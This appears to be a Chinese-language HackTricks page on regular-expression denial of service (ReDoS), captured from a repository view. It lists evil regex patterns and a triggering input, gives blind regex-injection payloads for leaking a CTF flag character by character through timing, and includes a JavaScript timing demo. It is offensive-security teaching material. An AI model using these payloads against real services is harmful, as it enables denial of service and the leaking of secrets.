hacktricks/src/pentesting-web/regular-expression-denial-of-service-redos.md

81 lines
4.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 正则表达式拒绝服务 - ReDoS
{{#include ../banners/hacktricks-training.md}}
# 正则表达式拒绝服务 (ReDoS)
**正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式(用于搜索和匹配文本模式的一种方式)工作中的弱点。有时,当使用正则表达式时,它们可能会变得非常慢,尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重,甚至在文本大小稍微增加时就会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
## 有问题的正则表达式天真算法
**查看详细信息 [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
恶意正则表达式模式是指那些**在特制输入上卡住导致拒绝服务**的模式。恶意正则表达式模式通常包含重复的分组和重复或交替的重叠在重复组内。一些恶意模式的示例包括:
- (a+)+
- ([a-zA-Z]+)\*
- (a|aa)+
- (a|a?)+
- (.\*a){x} for x > 10
所有这些都对输入`aaaaaaaaaaaaaaaaaaaaaaaa!`脆弱。
## ReDoS 载荷
### 通过 ReDoS 字符串外泄
在 CTF或漏洞赏金也许你**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果**正则表达式匹配**,使**页面冻结(超时或更长处理时间)**可能会很有用,而**如果没有匹配则不冻结**。这样你就可以**逐字符外泄**字符串:
- 在 [**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) 中你可以找到这个 ReDoS 规则:`^(?=<flag>)((.*)*)*salt$`
- 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- 在 [**这篇写作**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) 中你可以找到这个:`<flag>(((((((.*)*)*)*)*)*)*)!`
- 在 [**这篇写作**](https://ctftime.org/writeup/25869) 中他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS 控制输入和正则表达式
以下是**ReDoS**示例,其中你**控制**输入和**正则表达式**
```javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## 工具
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
## 参考资料
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{{#include ../banners/hacktricks-training.md}}